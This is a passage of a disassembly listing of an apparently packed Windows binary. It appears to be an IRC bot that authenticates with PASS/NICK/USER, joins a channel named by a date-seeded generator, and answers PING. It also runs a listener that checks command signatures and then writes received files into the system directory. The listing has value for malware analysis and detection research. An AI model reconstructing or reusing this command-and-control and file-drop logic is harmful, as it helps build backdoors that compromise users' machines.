eax, [ebp+var_84] push eax push 0 call sub_315025F6 add esp, 1Ch jmp short loc_315027FB ; --------------------------------------------------------------------------- loc_3150279D: ; CODE XREF: sub_315026C2+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_31501064 ; lstrcmpiA test eax, eax jnz short loc_315027E6 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315027FB push ebx push edi push esi mov ds:dword_315061A0, 1 call sub_315023AF add esp, 0Ch jmp short loc_315027FB ; --------------------------------------------------------------------------- loc_315027E6: ; CODE XREF: sub_315026C2+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_315025F6 pop ecx pop ecx loc_315027FB: ; CODE XREF: sub_315026C2+1Fj ; sub_315026C2+D9j ... pop edi pop esi pop ebx leave retn sub_315026C2 endp ; =============== S U B R O U T I N E ======================================= sub_31502800 proc near ; CODE XREF: sub_31501BA8+7Ap ; sub_315028AE+2Ap ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_3150105C ; VirtualAlloc retn sub_31502800 endp ; =============== S U B R O U T I N E ======================================= sub_31502814 proc near ; CODE XREF: sub_315028AE+EBp ; sub_31502B4C+75p ... arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31501058 ; VirtualFree retn sub_31502814 endp ; =============== S U B R O U T I N E ======================================= sub_31502826 proc near ; CODE XREF: sub_31502B4C+32p push esi mov esi, ecx push offset aCont ; "cont" and dword ptr [esi], 0 lea eax, [esi+4] push eax call dword_31501088 ; lstrcpyA mov eax, esi pop esi retn sub_31502826 endp ; =============== S U B R O U T I N E ======================================= sub_3150283F proc near ; CODE XREF: sub_31502B4C+3Ap push ebx push ebp mov ebx, dword_31501018 push esi push edi xor ebp, ebp mov edi, ecx push ebp push 1 push ebp lea esi, [edi+0Eh] push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_3150286E push 8 push 1 push ebp push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_3150286E push 1 pop eax jmp short loc_3150288E ; --------------------------------------------------------------------------- loc_3150286E: ; CODE XREF: sub_3150283F+1Bj ; sub_3150283F+28j add edi, 12h push edi push ebp push ebp push 114h push offset dword_31505CF8 push dword ptr [esi] call dword_3150101C ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3150288E: ; CODE XREF: sub_3150283F+2Dj pop edi pop esi pop ebp pop ebx retn sub_3150283F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31502893 proc near ; CODE XREF: sub_31502B4C+7Ep push esi mov esi, ecx push dword ptr [esi+12h] call dword_31501010 ; CryptDestroyKey push 0 push dword ptr [esi+0Eh] call dword_31501014 ; CryptReleaseContext xor eax, eax pop esi retn sub_31502893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315028AE proc near ; CODE XREF: sub_31502B4C+46p var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi mov [ebp+var_8], ecx push eax call dword_31501050 ; GetSystemTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax call dword_31501054 ; SystemTimeToFileTime mov esi, 4000h push esi call sub_31502800 mov ebx, [ebp+arg_0] pop ecx mov edi, eax push 0 push esi push edi push dword ptr [ebx] call dword_315011A0 ; recv lea esi, [edi+8] push 8 lea eax, [ebp+var_10] push esi push eax call sub_31503A44 ; memcpy mov ecx, [ebp+var_10] mov eax, [ebp+var_C] add esp, 0Ch sub ecx, [ebp+var_18] sbb eax, [ebp+var_14] cmp eax, 8 jg short loc_3150298F jl short loc_3150291C cmp ecx, 61C46800h ja short loc_3150298F loc_3150291C: ; CODE XREF: sub_315028AE+64j cmp eax, 0FFFFFFF7h jl short loc_3150298F jg short loc_3150292B cmp ecx, 9E3B9800h jb short loc_3150298F loc_3150292B: ; CODE XREF: sub_315028AE+73j lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push 0 push 0 push 8003h push dword ptr [eax+0Eh] call dword_31501000 ; CryptCreateHash test eax, eax jz short loc_31502980 push 0 push 8 push esi push [ebp+var_4] call dword_31501004 ; CryptHashData test eax, eax jz short loc_31502980 mov eax, [edi+10h] cmp eax, 2800h ja short loc_31502980 mov ecx, [ebp+var_8] xor esi, esi push esi push esi push dword ptr [ecx+12h] push eax lea eax, [edi+14h] push eax push [ebp+var_4] call dword_31501008 ; CryptVerifySignatureA test eax, eax jnz short loc_315029A8 loc_31502980: ; CODE XREF: sub_315028AE+98j ; sub_315028AE+AAj ... call dword_31501098 ; RtlGetLastWin32Error push [ebp+var_4] call dword_3150100C ; CryptDestroyHash loc_3150298F: ; CODE XREF: sub_315028AE+62j ; sub_315028AE+6Cj ... call dword_31501098 ; RtlGetLastWin32Error push 2 pop esi loc_31502998: ; CODE XREF: sub_315028AE+117j push edi call sub_31502814 pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_315029A8: ; CODE XREF: sub_315028AE+D0j push [ebp+var_4] call dword_3150100C ; CryptDestroyHash call dword_31501124 ; rand push esi push 4 push edi mov [edi], eax push dword ptr [ebx] call dword_3150119C ; send jmp short loc_31502998 sub_315028AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315029C7 proc near ; CODE XREF: sub_31502B4C+6Ap var_220 = byte ptr -220h var_118 = byte ptr -118h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 220h cmp [ebp+arg_8], 8 push ebx push esi push edi jge short loc_315029E6 push 0 push [ebp+arg_8] push [ebp+arg_4] jmp loc_31502B3E ; --------------------------------------------------------------------------- loc_315029E6: ; CODE XREF: sub_315029C7+10j mov esi, [ebp+arg_4] mov ebx, 104h mov eax, [esi] lea edi, [esi+8] test eax, eax mov [ebp+arg_4], eax jnz loc_31502AF7 lea eax, [ebp+var_220] push ebx push eax call dword_31501068 ; GetSystemDirectoryA lea eax, [ebp+var_220] push eax call dword_31501048 ; SetCurrentDirectoryA mov eax, [edi] push ebx mov [ebp+arg_8], eax mov eax, [edi+4] mov [ebp+var_4], eax lea eax, [edi+8] push eax lea eax, [ebp+var_118] push eax call dword_315010A8 ; lstrcpynA xor eax, eax push eax push eax push 2 push eax push eax lea eax, [ebp+var_118] push 40000000h push eax call dword_315010F0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_31502AE5 mov ebx, dword_3150119C push 0 push 8 push esi push [ebp+arg_0] mov dword ptr [esi+4], 1 call ebx ; send mov eax, [ebp+arg_8] xor edx, edx div [ebp+var_4] xor edx, edx mov [ebp+arg_4], eax mov eax, [ebp+arg_8] div [ebp+var_4] test edx, edx jz short loc_31502A8D inc [ebp+arg_4] loc_31502A8D: ; CODE XREF: sub_315029C7+C1j and [ebp+var_8], 0 cmp [ebp+arg_4], 0 jle short loc_31502ADA loc_31502A97: ; CODE XREF: sub_315029C7+111j push 0 push [ebp+var_4] push edi push [ebp+arg_0] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [ebp+arg_8], eax jz short loc_31502ADA lea ecx, [ebp+var_10] push 0 push ecx push eax push edi push [ebp+var_C] call dword_3150104C ; WriteFile mov eax, [ebp+arg_8] push 0 push 8 push esi push [ebp+arg_0] mov [esi+4], eax call ebx ; send inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jl short loc_31502A97 loc_31502ADA: ; CODE XREF: sub_315029C7+CEj ; sub_315029C7+E5j push [ebp+var_C] call dword_315010BC ; CloseHandle jmp short loc_31502B47 ; --------------------------------------------------------------------------- loc_31502AE5: ; CODE XREF: sub_315029C7+8Fj and dword ptr [esi+4], 0 push 0 push 8 push esi push [ebp+arg_0] call dword_3150119C ; send loc_31502AF7: ; CODE XREF: sub_315029C7+31j cmp [ebp+arg_4], 1 jnz short loc_31502B26 lea eax, [ebp+var_118] push ebx push eax call dword_31501068 ; GetSystemDirectoryA lea eax, [ebp+var_118] push eax call dword_31501048 ; SetCurrentDirectoryA push 0 push 4 push esi push [ebp+arg_0] call dword_3150119C ; send loc_31502B26: ; CODE XREF: sub_315029C7+134j cmp [ebp+arg_4], 3 jnz short loc_31502B47 push dword ptr [edi] add edi, 4 push edi call sub_31501962 pop ecx pop ecx push 0 push 4 push esi loc_31502B3E: ; CODE XREF: sub_315029C7+1Aj push [ebp+arg_0] call dword_3150119C ; send loc_31502B47: ; CODE XREF: sub_315029C7+11Cj ; sub_315029C7+163j pop edi pop esi pop ebx leave retn sub_315029C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502B4C proc near ; DATA XREF: sub_31502BE8+AAo var_30 = dword ptr -30h var_1C = dword ptr -1Ch var_18 = byte ptr -18h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push esi push edi call sub_315018BA mov esi, [ebp+arg_0] push 6 pop ecx lea edi, [ebp+var_30] rep movsd push [ebp+var_1C] call dword_315010D8 ; SetEvent mov esi, 10000h push esi call sub_31502800 pop ecx mov edi, eax lea ecx, [ebp+var_18] call sub_31502826 lea ecx, [ebp+var_18] call sub_3150283F lea eax, [ebp+var_30] lea ecx, [ebp+var_18] push eax call sub_315028AE test eax, eax jnz short loc_31502BC0 loc_31502B9B: ; CODE XREF: sub_31502B4C+72j push 0 push esi push edi push [ebp+var_30] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz short loc_31502BC0 test eax, eax jz short loc_31502BC0 push eax push edi push [ebp+var_30] call sub_315029C7 add esp, 0Ch jmp short loc_31502B9B ; --------------------------------------------------------------------------- loc_31502BC0: ; CODE XREF: sub_31502B4C+4Dj ; sub_31502B4C+5Fj ... push edi call sub_31502814 pop ecx lea ecx, [ebp+var_18] call sub_31502893 push [ebp+var_30] call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread pop edi xor eax, eax pop esi leave retn 4 sub_31502B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_31502BE8 proc near ; DATA XREF: sub_31501D96+156o var_44 = dword ptr -44h var_40 = byte ptr -40h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 44h push ebx push esi xor esi, esi push edi push esi push 1 push 2 call dword_3150118C ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push esi push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_1C], 2 mov [ebp+var_18], esi loc_31502C19: ; CODE XREF: sub_31502BE8+59j lea eax, [esi+0BFBh] push eax call dword_31501194 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1C] push 10h push eax push [ebp+var_4] call dword_31501170 ; bind test eax, eax jz short loc_31502C43 inc esi cmp esi, 0Ah jl short loc_31502C19 loc_31502C43: ; CODE XREF: sub_31502BE8+53j push 32h push [ebp+var_4] call dword_31501174 ; listen mov ebx, dword_315010BC loc_31502C54: ; CODE XREF: sub_31502BE8+CDj lea eax, [ebp+var_8] mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax push [ebp+var_4] call dword_31501178 ; accept lea esi, [ebp+var_2C] lea edi, [ebp+var_40] mov [ebp+var_44], eax movsd movsd movsd movsd xor esi, esi push esi push esi push 1 push esi call dword_3150108C ; CreateEventA mov [ebp+var_30], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_44] push esi push eax push offset sub_31502B4C push esi push esi call dword_315010D0 ; CreateThread push eax call ebx ; CloseHandle push 3E8h push [ebp+var_30] call dword_31501090 ; WaitForSingleObject push [ebp+var_30] call ebx ; CloseHandle jmp short loc_31502C54 sub_31502BE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502CB7 proc near ; CODE XREF: sub_31502D3C+25p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31502CEA add ebx, 1Ah loc_31502CEA: ; CODE XREF: sub_31502CB7+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31501110 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31502D14 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31502D37 ; --------------------------------------------------------------------------- loc_31502D14: ; CODE XREF: sub_31502CB7+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31502D34 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31502D37 ; --------------------------------------------------------------------------- loc_31502D34: ; CODE XREF: sub_31502CB7+68j mov al, [ebp+arg_0] loc_31502D37: ; CODE XREF: sub_31502CB7+5Bj ; sub_31502CB7+7Bj pop edi pop esi pop ebx leave retn sub_31502CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502D3C proc near ; CODE XREF: sub_31503722+F7p ; sub_31503722+137p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_31502D97 mov edi, [ebp+arg_0] push ebx loc_31502D51: ; CODE XREF: sub_31502D3C+56j mov bl, al inc [ebp+arg_4] mov eax, esi mov byte ptr [ebp+arg_0], bl neg eax push eax push [ebp+arg_0] call sub_31502CB7 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_31502D7B cmp bl, 7Ah jg short loc_31502D7B movsx esi, bl sub esi, 61h loc_31502D7B: ; CODE XREF: sub_31502D3C+32j ; sub_31502D3C+37j cmp bl, 41h jl short loc_31502D8B cmp bl, 5Ah jg short loc_31502D8B movsx esi, bl sub esi, 41h loc_31502D8B: ; CODE XREF: sub_31502D3C+42j ; sub_31502D3C+47j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_31502D51 pop ebx jmp short loc_31502D9A ; --------------------------------------------------------------------------- loc_31502D97: ; CODE XREF: sub_31502D3C+Fj mov edi, [ebp+arg_0] loc_31502D9A: ; CODE XREF: sub_31502D3C+59j and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31502D3C endp ; =============== S U B R O U T I N E ======================================= sub_31502DA1 proc near ; CODE XREF: UPX0:3150346Ep push esi mov esi, ecx push 20001h call sub_31502800 mov [esi+2Ch], eax pop ecx mov eax, esi pop esi retn sub_31502DA1 endp ; =============== S U B R O U T I N E ======================================= sub_31502DB6 proc near ; CODE XREF: UPX0:315034CEp ; UPX0:31503521p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push 27h push [esp+8+arg_0] lea eax, [esi+4] push eax call dword_315010A8 ; lstrcpynA mov eax, [esp+4+arg_4] mov [esi+58h], eax pop esi retn 8 sub_31502DB6 endp ; --------------------------------------------------------------------------- loc_31502DD4: ; CODE XREF: UPX0:31503AD6j push esi mov esi, ecx lea eax, [esi+4] push eax call sub_31502814 push dword ptr [esi+2Ch] call sub_31502814 pop ecx pop ecx pop esi retn ; =============== S U B R O U T I N E ======================================= sub_31502DEC proc near ; CODE XREF: UPX0:315034ECp ; UPX0:3150353Fp var_138 = byte ptr -138h var_12C = byte ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 138h push ebx push ebp push esi xor ebx, ebx push edi push ebx push 1 mov esi, ecx push 2 call dword_3150118C ; socket mov [esi+5Ch], eax lea eax, [esi+4] push eax call sub_315019B8 mov [esi+64h], eax mov ax, [esi+58h] pop ecx lea edi, [esi+60h] push eax mov word ptr [edi], 2 call dword_31501194 ; ntohs push 10h push edi push dword ptr [esi+5Ch] mov [esi+62h], ax call dword_31501198 ; connect test eax, eax jnz loc_31502FF1 push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31502FF1 mov ecx, [esi+2Ch] and [ecx+eax], bl push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E lea eax, [esp+148h+var_138] push 9 push eax call sub_31501932 mov ebp, dword_3150113C lea eax, [esp+150h+var_138] push eax lea eax, [esp+154h+var_12C] push offset aPassS ; "PASS %s\r\n" push eax call ebp ; wsprintfA mov edi, dword_315010A4 add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push ebx mov ebx, dword_315010A0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push [esp+148h+arg_0] lea eax, [esp+14Ch+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 0Ch push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31502FF1 mov ecx, [esi+2Ch] push 64h and byte ptr [ecx+eax], 0 call edi ; Sleep loc_31502F15: ; CODE XREF: sub_31502DEC+1ADj push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E push offset aAlready ; "already" push dword ptr [esi+2Ch] call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502F9E push [esp+148h+arg_4] push [esp+14Ch+arg_0] call sub_31501932 push [esp+150h+arg_0] lea eax, [esp+154h+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31502FF1 mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 jmp loc_31502F15 ; --------------------------------------------------------------------------- loc_31502F9E: ; CODE XREF: sub_31502DEC+145j push [esp+148h+arg_8] lea eax, [esp+14Ch+var_12C] push [esp+14Ch+arg_0] push offset aUserS8S ; "USER %s 8 * :%s\r\n" push eax call ebp ; wsprintfA add esp, 10h push 64h call edi ; Sleep xor edi, edi lea eax, [esp+148h+var_12C] push edi push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push edi push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_31502FFF loc_31502FF1: ; CODE XREF: sub_31502DEC+4Ej ; sub_31502DEC+6Bj ... push dword ptr [esi+5Ch] call dword_315011A8 ; closesocket push 1 pop eax jmp short loc_31503021 ; --------------------------------------------------------------------------- loc_31502FFF: ; CODE XREF: sub_31502DEC+203j mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E mov [esi+284h], edi mov [esi+7Ch], edi mov [esi+70h], edi mov [esi+74h], edi xor eax, eax loc_31503021: ; CODE XREF: sub_31502DEC+211j pop edi pop esi pop ebp pop ebx add esp, 138h retn 0Ch sub_31502DEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150302E proc near ; CODE XREF: sub_31502DEC+7Cp ; sub_31502DEC+12Ep ... var_190 = byte ptr -190h var_64 = byte ptr -64h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h push ebx push esi push edi push offset aPing ; "PING" push [ebp+arg_0] mov ebx, ecx call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_315030A8 mov esi, dword_315010A0 lea edi, [eax+4] push edi call esi ; lstrlenA dec eax cmp eax, 63h jle short loc_31503067 push 1 pop eax jmp short loc_315030AA ; --------------------------------------------------------------------------- loc_31503067: ; CODE XREF: sub_3150302E+32j push eax lea eax, [ebp+var_64] push edi push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_64] push eax lea eax, [ebp+var_190] push offset aPongS ; "PONG%s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_190] push 0 push eax call esi ; lstrlenA push eax lea eax, [ebp+var_190] push eax push dword ptr [ebx+5Ch] call dword_3150119C ; send loc_315030A8: ; CODE XREF: sub_3150302E+20j xor eax, eax loc_315030AA: ; CODE XREF: sub_3150302E+37j pop edi pop esi pop ebx leave retn 4 sub_3150302E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315030B1 proc near ; CODE XREF: UPX0:3150358Dp var_12C = byte ptr -12Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 12Ch push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12C] mov esi, ecx push offset aJoinS ; "JOIN %s\r\n" push eax call dword_3150113C ; wsprintfA mov edi, dword_315010A4 add esp, 0Ch push 64h call edi ; Sleep lea eax, [ebp+var_12C] push 0 push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_12C] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 64h call edi ; Sleep push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv mov ecx, [esi+2Ch] mov [esi], eax and byte ptr [ecx+eax], 0 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_3150317A test eax, eax jz short loc_3150317A push 64h call edi ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E mov edi, dword_31501120 push offset a451 ; "451" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_31503153 push 3 jmp short loc_3150317C ; --------------------------------------------------------------------------- loc_31503153: ; CODE XREF: sub_315030B1+9Cj push offset aPing ; "PING" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_31503167 push 4 jmp short loc_3150317C ; --------------------------------------------------------------------------- loc_31503167: ; CODE XREF: sub_315030B1+B0j push 23h add esi, 30h push [ebp+arg_0] push esi call dword_315010A8 ; lstrcpynA xor eax, eax jmp short loc_3150317D ; --------------------------------------------------------------------------- loc_3150317A: ; CODE XREF: sub_315030B1+74j ; sub_315030B1+78j push 2 loc_3150317C: ; CODE XREF: sub_315030B1+A0j ; sub_315030B1+B4j pop eax loc_3150317D: ; CODE XREF: sub_315030B1+C7j pop edi pop esi leave retn 4 sub_315030B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503183 proc near ; CODE XREF: sub_315031EC+83p ; UPX0:315035E9p var_14C = byte ptr -14Ch var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 14Ch push esi mov esi, ecx call dword_31501124 ; rand sub eax, 3 and eax, 7 push eax lea eax, [ebp+var_20] push eax call sub_31501932 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14C] push offset aQuitS ; "QUIT %s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 14h lea eax, [ebp+var_14C] push 0 push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14C] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push dword ptr [esi+5Ch] call dword_315011A8 ; closesocket xor eax, eax pop esi leave retn sub_31503183 endp ; =============== S U B R O U T I N E ======================================= sub_315031EC proc near ; CODE XREF: UPX0:315035D1p mov eax, offset loc_31503AC4 call sub_31503A98 sub esp, 110h push ebx push esi push edi mov edi, dword_315010C8 mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi call edi ; GetTickCount mov [ebp-18h], eax mov eax, [esi+5Ch] mov dword ptr [ebp-11Ch], 1 mov [ebp-118h], eax xor ebx, ebx loc_31503227: ; CODE XREF: sub_315031EC+EFj call sub_31501A32 test eax, eax jz short loc_31503274 push ebx push ebx lea eax, [ebp-11Ch] push ebx push eax push 1 call dword_31501164 ; select cmp eax, 0FFFFFFFFh jz short loc_31503274 call sub_31501D82 test eax, eax jz short loc_31503258 push 1 call dword_315010E0 ; ExitThread loc_31503258: ; CODE XREF: sub_315031EC+62j mov [ebp-4], ebx call edi ; GetTickCount mov ecx, [ebp+8] sub eax, [ebp-18h] imul ecx, 0EA60h cmp eax, ecx jbe short loc_31503287 mov ecx, esi call sub_31503183 loc_31503274: ; CODE XREF: sub_315031EC+42j ; sub_315031EC+59j ... xor eax, eax loc_31503276: ; CODE XREF: sub_315031EC+109j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31503287: ; CODE XREF: sub_315031EC+7Fj push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_315032F2 mov ecx, [esi+2Ch] push 64h mov [ecx+eax], bl call dword_315010A4 ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E push dword ptr [esi+2Ch] mov ecx, esi call sub_31503722 cmp eax, ebx jnz short loc_31503274 or dword ptr [ebp-4], 0FFFFFFFFh call sub_31501A32 test eax, eax jz short loc_31503274 push 64h call dword_315010A4 ; Sleep jmp loc_31503227 ; --------------------------------------------------------------------------- loc_315032E0: ; DATA XREF: UPX0:31503B3Co mov eax, [ebp-14h] push dword ptr [eax+5Ch] call dword_315011A8 ; closesocket mov eax, offset loc_315032F2 retn ; --------------------------------------------------------------------------- loc_315032F2: ; CODE XREF: sub_315031EC+B2j ; DATA XREF: sub_315031EC+100o push 1 pop eax jmp loc_31503276 sub_315031EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315032FA proc near ; CODE XREF: sub_31503722+9Cp ; sub_31503722+2B7p var_12C = byte ptr -12Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi mov esi, dword_315010A0 push edi push [ebp+arg_0] mov edi, ecx call esi ; lstrlenA push [ebp+arg_4] mov ebx, eax call esi ; lstrlenA add ebx, eax cmp ebx, 10Eh jle short loc_31503329 push 1 pop eax jmp short loc_3150336A ; --------------------------------------------------------------------------- loc_31503329: ; CODE XREF: sub_315032FA+28j push [ebp+arg_4] lea eax, [ebp+var_12C] push [ebp+arg_0] push offset aPrivmsgSS ; "PRIVMSG %s %s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 10h push 64h call dword_315010A4 ; Sleep lea eax, [ebp+var_12C] push 0 push eax call esi ; lstrlenA push eax lea eax, [ebp+var_12C] push eax push dword ptr [edi+5Ch] call dword_3150119C ; send xor eax, eax loc_3150336A: ; CODE XREF: sub_315032FA+2Dj pop edi pop esi pop ebx leave retn 8 sub_315032FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503371 proc near ; CODE XREF: UPX0:31503484p var_24 = qword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+var_1C] push eax call dword_31501050 ; GetSystemTime movzx eax, [ebp+var_1A] mov [ebp+var_4], eax push ecx fild [ebp+var_4] push ecx fstp [esp+24h+var_24] call sub_31503AAA ; atan movzx eax, [ebp+var_16] fstp [ebp+var_C] mov [ebp+var_4], eax fild [ebp+var_4] fstp [esp+24h+var_24] call sub_31503AA4 ; sin movzx eax, [ebp+var_1C] fmul [ebp+var_C] lea eax, [eax+eax*2] fstp [ebp+var_C] mov [ebp+var_4], eax fild [ebp+var_4] fstp [esp+24h+var_24] call sub_31503A9E ; cos fadd [ebp+var_C] fstp [ebp+var_C] push dword ptr [ebp+var_C] call dword_31501128 ; srand mov eax, [ebp+arg_0] push 7 mov byte ptr [eax], 23h inc eax push eax call sub_31501932 push 8 push [ebp+arg_4] call sub_31501932 add esp, 1Ch call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+arg_8] mov [eax], edx call sub_315018BA leave retn sub_31503371 endp ; --------------------------------------------------------------------------- loc_31503408: ; DATA XREF: sub_31501D96+140o mov eax, offset loc_31503ADB call sub_31503A98 sub esp, 2E8h push ebx push esi xor ebx, ebx push edi mov 